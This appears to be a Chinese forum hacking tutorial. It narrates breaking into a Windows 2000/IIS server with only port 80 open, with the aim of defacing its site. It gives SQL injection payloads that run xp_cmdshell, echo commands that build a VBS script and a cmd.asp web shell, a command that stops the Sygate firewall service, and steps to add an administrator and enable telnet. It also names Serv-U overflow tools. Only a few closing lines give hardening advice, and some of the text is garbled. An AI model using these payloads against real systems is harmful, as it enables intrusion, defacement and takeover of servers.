如何利用21端口入侵、只开80端口主机的入侵思路
21端口默认为FTP端口
 以提供FTP服务
 一般来说此端口不存在太大漏洞.5. 004及以下系统,可用溢出入侵。(serv5004.exe
 对5.1.0.0及以下系统,可用本地提升权限。(servlocal.exe
 ==========
 看看下面的东西:

 首先申明我并不是一个HACKER,只是一个网络安全爱好者罢了。入侵的动机我保留,只记述过程啦!

 目标主机:10.75.166.12(我的ISP的真实内部地址)。

 目的:更改其WEB页,还有别的么?呵呵我保留!

 首先:看看这个网段都有那些机子,还有他们都开什么端口吧!我用scanner(很好的扫描工具)

 查出有N部机子。(其实我早就扫过了,呵呵),哈10.75.166.12只开了21,80 两个端口呀!

 先FTP上去罗,ftp 10.75.166.12

 unknown ip (10.75.167.87)

 connected refused
只开80端口主机的入侵思路:
主机配置:win2kserver(sp3)+sygate personal firewall pro
 安全设置:不说啦太**了竟然只允许80
 扫描:先用x-scan2.3扫端口晕只开80,然后又扫了一遍
 唉还是一样的结果,看来管理员也不算笨啊!
 检查系统洞洞:ping了一下竟然ping不通,不过有刚才的扫描结果就很明
 白了应是iis5再加上网页上明显用的asp这样的主机当然是win2k不用
 说咯.
 分析:唉也没什么可以分析咯只能从80入手,看看上面都有些什么东东
 有一个查询系统输入单引号试试,返回
 错误类型:
 Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
 /mingce/student1.asp, 第 30 
 看来运气也不算太坏嘛........应该有sql注入的毛病.........
 为了进一步确认试试运气http://x.x.x.x//mingce/student1.asp.
BAK>http://x.x.x.x//mingce/student1.asp.BAK
 的确可以正确提交哟返回如下:
 if request.form("xsxm")="" and request.form("xsxh")="" then
 Set C.CreateObject("ADODB.Connection")
 Conn.Open "Driver={sql server};Server=localhost;Database=xxxx;UID=sa;PWD="&application("mm_xxx")
 比较长只是上面三行最重要了:我们可以看出ASP后台程序没用对用户提交进行任何的
 过滤,同时数据库用的ADODB.Connection对象(如果是ADODB.Command就算没有过滤
 特殊符号也不行的),当然也可以看出数据库使用的sa来连接的!
 (Tip:其实就算我们看不到ASP的源代码我们也可以试试xp_cmdshell ‘iisreset /reboot‘
 或是xp_cmdshell ‘ping ..I.P‘,如果第一个命令能执行成功那么在半分钟之内远程
 系统会重启一次的,第二个命令你自已的机子的防火墙通常会提示来至x.x.x.x的主机向你
 发送ICMP数据,不过对于这种禁止任何数据出的主机第二个命令可能也不行哟)
 好了通过上面的分析我们可以做什么呢:
 通过在web页以管理员的身份来执行系统命令(不过没有回显的)
 如果是一般的系统主机简单了xp_cmdshell ‘net user .....‘我就不写了
 但是我们现在环境是系统只开了80端口,就算我们能加ADMIN用户也没用三
 以前通常只要开个139/445/135就可以远程管理了不过现在不行.
 我的思路:
 1)找到web目录的路径
 2)写入一个简单的cmd.asp用来找到防火墙的具体名字
 3)通过xp_cmdshell来关闭防火墙服务 
具体实现:
 第一步明显是最难的咯
 我本来打算用admins cripts里面的建web站的方式建一个我自已的可执行目录的
 结果不行哟.然后就想到了使用adsutil.vbs程序我是这样执行的
 a‘;exec master..xp_cmdshell ‘cmd /c cs cript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt‘;--
 是不是很长啦:)通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯)导入到a.txt
 对于a.txt的实际位置默认当然是c:\winnt\system32,其实这都不是问题,不过遇到管理员把adsutil.vbs删了或是放到别
 的地方我们就没办法了(不可能自已用echo 命令写一个吧)
 第二步:echo命令写下面的代码到c:\,很多吗也不算吧:)
 .....xp_cmdshell ‘echo set fso1=createobject("s cripting.filesystemobject")>c:\read.vbs‘;--
 .....xp_cmdshell ‘echo Set WshShell = Ws cript.CreateObject("Ws cript.Shell")>>c:\read.vbs‘;--
 .....
 -------------------read.vbs---------------------------------
 set fso1=createobject("s cripting.filesystemobject")
 Set WshShell = Ws cript.CreateObject("Ws cript.Shell")
 spa=WshShell.Environment("process")("windir")
 set fil =fso1.opentextfile(spa & "\system32\aa.txt")
 do while not fil.atendofstream
 nr=fil.readline
 if left(nr,4)="Path" then
 pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3)
 exit do
 end if
 loop
 set fil1 =fso1.opentextfile(pa&"\dd.asp",2,true)
 fil1.writeline " "
 ---------------cut here--------------------------------------

 第三步:当然就是执行read.vbs,这样我们可以把aa.txt中的内容读出来找到web站点的实际路径
 然后写一个叫dd.asp的文件在web站的根目录中,能否成功试试就知道咯
 执 http://x.x.x.x/dd.asp>http://x.x.x.x/dd.asp
 返回:d:\xxx
 看来我运气就是不错的哈(其实有个问题是我们找的第一个web站点可能并不能通过x.x.x.x来仿问)
 第四步:就是用echo命令生成cmd.asp,唉也不算长嘛也就20行而已
 其实在有的网站上(通常是虚拟主机)cmd.asp是不能执行的,不过这台主机是独立的服务
 所以管理员就没有禁止了
 第五步:执行cmd.asp,这样我们可以找到系统上到底安的是什么防火墙,找啊找没多久我找到了
 e:\progra~1\sygate\spf,就是它不用说了嘛sygate personal firewall pro(具体版本在cmd.asp
 里执行echo readme.txt不就明白了)
 第六步:关闭sygate的防火墙
 a‘;exec master..xp_cmdshell ‘net stop smcservice‘;--
 (smcservicesygate防火墙的服务)
 第七步:看一看成功了吗?x-scan,现在就对了三53,139,135,1433......都出来了
 第八步:添加系统管理员打开telnet............
 唉打了半天反正就是这样了...其实我想应该还有好的办法只是我没想到吧.......
 比如说用echo命令写一个ftp脚本来下载一个httptunel之类的程序然后再打开telnet
 ....当然你也可能想得到更简单的办法就是猜web站点的实际目录......
 IIS有一个lockdown工具,会写定比较严格的Aclswww的目录,会好一点。
 我觉得2k比想象中的可靠的多(甚至比Linux安全)
 一般来讲先用它的TCP/IP筛选要服务的端口(80),如果有必要再用IPSec做一些策略,就可以很好的防范各种攻击了。(不含dos
 我的理论是,就算你能够利用漏洞获得权限,但是不让你建立连接(不能传东西上来),就算你用www传东西上来,也不给你shell,照样没有办法干掉我。
 关于防火墙,我认为2k不需要防火墙,占用资源,又不可靠(还给人一种心理安慰),还是2k自带的好